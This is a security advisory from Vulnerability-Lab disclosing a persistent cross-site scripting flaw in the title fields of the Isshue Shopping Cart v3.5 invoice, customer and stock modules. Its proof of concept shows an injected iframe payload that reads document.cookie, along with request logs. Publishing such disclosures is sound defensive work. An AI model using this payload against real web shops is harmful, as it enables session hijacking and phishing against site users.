Isshue Shopping Cart 3.5 Cross Site Scripting

Risk: Medium
Local: No
Remote: Yes

Document Title: =============== Isshue Shopping Cart v3.5 - Cross Site Web Vulnerability References (Source): ==================== Release Date: ============= 2021-10-22 Vulnerability Laboratory ID (VL-ID): ==================================== 2284 Common Vulnerability Scoring System: ==================================== 5.1 Vulnerability Class: ==================== Cross Site Scripting - Persistent Current Estimated Price: ======================== 500€ - 1.000€ Product & Service Introduction: =============================== Multi-store eCommerce shopping cart software is the complete solution for eCommerce business management. It is all in one package for website management with backend admin panel to manage inventory, order, product, invoicing & so on. No need regular monthly subscription fee, get it through one-time payment now. Your eCommerce business frequently changes with the times. All you need is a system that will make your work easier and time-saving. You need the best eCommerce shopping cart software which is flexible, upgradable, affordable. Isshue is a completely secure and fast eCommerce POS system for eCommerce solutions. Isshue is the best choice for any type of e-commerce business, big or small. (Copy of the Homepage: ) Abstract Advisory Information: ============================== The vulnerability laboratory core research team discovered a persistent validation vulnerability in the Isshue eCommerce Shopping Cart v3.5 web-application. Affected Product(s): ==================== bdtask Product: Isshue Shopping Cart v3.5 - eCommerce (Web-Application) Vulnerability Disclosure Timeline: ================================== 2021-08-23: Researcher Notification & Coordination (Security Researcher) 2021-08-24: Vendor Notification (Security Department) 2021-**-**: Vendor Response/Feedback (Security Department) 2021-**-**: Vendor Fix/Patch (Service Developer Team) 2021-**-**: Security Acknowledgements (Security Department) 2021-10-22: Public Disclosure (Vulnerability Laboratory) Discovery Status: ================= Published Exploitation Technique: ======================= Remote Severity Level: =============== Medium Authentication Type: ==================== Restricted Authentication (Moderator Privileges) User Interaction: ================= Medium User Interaction Disclosure Type: ================ Responsible Disclosure Technical Details & Description: ================================ A persistent input validation web vulnerability has been discovered in the official Isshue eCommerce Shopping Cart v3.5 web-application. The vulnerability allows remote attackers to inject own malicious script codes with persistent attack vector to compromise browser to web-application requests from the application-side. A input validation web vulnerability has been discovered in the title input fields in `new invoice`, `customer` & `stock` modules. The `title` input and parameter allows to inject own malicious script code with persistent attack vector. The content of the input and parameter is insecure validated, thus allows remote attackers with privileged user accounts (manager/keeper/admin) to inject own malformed script code that executes on preview. The request method to inject is post and the attack vector is persistent on the application-side. Successful exploitation of the vulnerability results in session hijacking, persistent phishing attacks, persistent external redirects to malicious source and persistent manipulation of affected application modules. Request Method(s): [+] POST Vulnerable Module(s): [+] Edit Title Vulnerable Input(s): [+] Title Vulnerable Parameter(s): [+] title Affected Module(s): [+] stock [+] customer [+] invoice Proof of Concept (PoC): ======================= The persistent input validation web vulnerability can be exploited by remote attackers with keeper account and with low user interaction. For security demonstration or to reproduce the persistent cross site web vulnerability follow the provided information and steps below to continue. Vulnerable Source: <div class="row"> <div class="col-sm-12 lobipanel-parent-sortable ui-sortable" data-lobipanel-child-inner-id="azO1Fsrq9M"> <div class="panel panel-bd lobidrag lobipanel lobipanel-sortable" data-inner-id="azO1Fsrq9M" data-index="0"> <div class="panel-heading ui-sortable-handle"> <div class="panel-title" style="max-width: calc(100% - 180px);">"[MALICIOUS INJECTED SCRIPT CODE!]<iframe src="evil.source" onload="alert(document.cookie)"></iframe></div> <div class="dropdown"><ul class="dropdown-menu dropdown-menu-right"><li><a data-func="editTitle" data-tooltip="Edit title" data-toggle="tooltip" data-title="Edit title" data-placement="bottom" data-original-title="" title=""><i class="panel-control-icon ti-pencil"></i> <span class="control-title">Edit title</span></a></li><li> <a data-func="unpin" data-tooltip="Unpin" data-toggle="tooltip" data-title="Unpin" data-placement="bottom" data-original-title="" title=""> <i class="panel-control-icon ti-move"></i><span class="control-title">Unpin</span></a></li><li> <a data-func="reload" data-tooltip="Reload" data-toggle="tooltip" data-title="Reload" data-placement="bottom" data-original-title="" title=""> <i class="panel-control-icon ti-reload"></i><span class="control-title">Reload</span></a></li><li> <a data-func="minimize" data-tooltip="Minimize" data-toggle="tooltip" data-title="Minimize" data-placement="bottom" data-original-title="" title=""> <i class="panel-control-icon ti-minus"></i><span class="control-title">Minimize</span></a></li><li><a data-func="expand" data-tooltip="Fullscreen" data-toggle="tooltip" data-title="Fullscreen" data-placement="bottom" data-original-title="" title=""> <i class="panel-control-icon ti-fullscreen"></i><span class="control-title">Fullscreen</span></a></li><li> <a data-func="close" data-tooltip="Close" data-toggle="tooltip" data-title="Close" data-placement="bottom" data-original-title="" title=""> <i class="panel-control-icon ti-close"></i><span class="control-title">Close</span></a></li></ul> <div class="dropdown-toggle" data-toggle="dropdown"><span class="panel-control-icon glyphicon glyphicon-cog"></span></div></div></div> <form action="" class="form-vertical" id="validate" name="insert_invoice" enctype="multipart/form-data" method="post" accept-charset="utf-8" novalidate="novalidate"> <div class="panel-body"> <div class="row"> <div class="col-sm-8" id="payment_from_1"> <div class="form-group row"> <label for="customer_name" class="col-sm-3 col-form-label">Customer Name <i class="text-danger">*</i></label> <div class="col-sm-6"> <input type="text" size="100" value="a as" name="customer_name" class="customerSelection form-control ui-autocomplete-input" placeholder="Customer Name" id="customer_name" autocomplete="off"> <input id="SchoolHiddenId" value="HW77BA6CZEJXCV8" class="customer_hidden_value" type="hidden" name="customer_id"> </div> --- PoC Session Logs (GET) [Execute] --- https://isshue.localhost:8080/isshue/dashboard/Store_invoice/evil.source Host: isshue.localhost:8080 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Connection: keep-alive Referer: https://isshue.localhost:8080/isshue/dashboard/Store_invoice/new_invoice Cookie: ci_session=f16fc8ac874d2fbefd4f1bc818e9361e563a9535; bm=29207327be4562a93104e7c7c2e62fe74d7d12de- 1629733189-1800-AStEmjkeD30sgtw0bgFOcvlrw7KiV79iVZGn+JuZ0bDjD7g99V69gfssqh4LvIWof7tjzmwNEeHHbVZcMib7hnkgJULvefbayRn8vBdfB73nFdoUChp8uXuiRxDu17LDBA== - GET: HTTP/2.0 200 OK content-type: text/html; charset=UTF-8 vary: Accept-Encoding set-cookie: cookie=f16fc8ac874d2fbefd4f1bc818e9361e563a9535; bm=29207327be4562a93104e7c7c2e62fe74d7d12de- 1629733189-1800-AStEmjkeD30sgtw0bgFOcvlrw7KiV79iVZGn+JuZ0bDjD7g99V69gfssqh4LvIWof7tjzmwNEeHHbVZcMib7hnkgJULvefbayRn8vBdfB73nFdoUChp8uXuiRxDu17LDBA==; GMT; Max-Age=7200; path=/ Security Risk: ============== The security risk of the persistent input validation web vulnerability in the shopping cart web-application is estimated as medium. Credits & Authors: ================== Vulnerability-Lab [Research Team] - Disclaimer & Information: ========================= The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any licenses, policies, deface websites, hack into databases or trade with stolen data. Domains: Services: Social: Feeds: Programs: Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other information on this website is trademark of vulnerability-lab team & the specific authors or managers. To record, list, modify, use or edit our material contact (admin@ or research@) to get a ask permission. Copyright © 2021 | Vulnerability Laboratory - [Evolution Security GmbH]™ -- VULNERABILITY LABORATORY (VULNERABILITY LAB) RESEARCH, BUG BOUNTY & RESPONSIBLE DISCLOSURE LUDWIG-ERHARD STRAßE 4 34131 KASSEL - HESSEN DEUTSCHLAND (DE)

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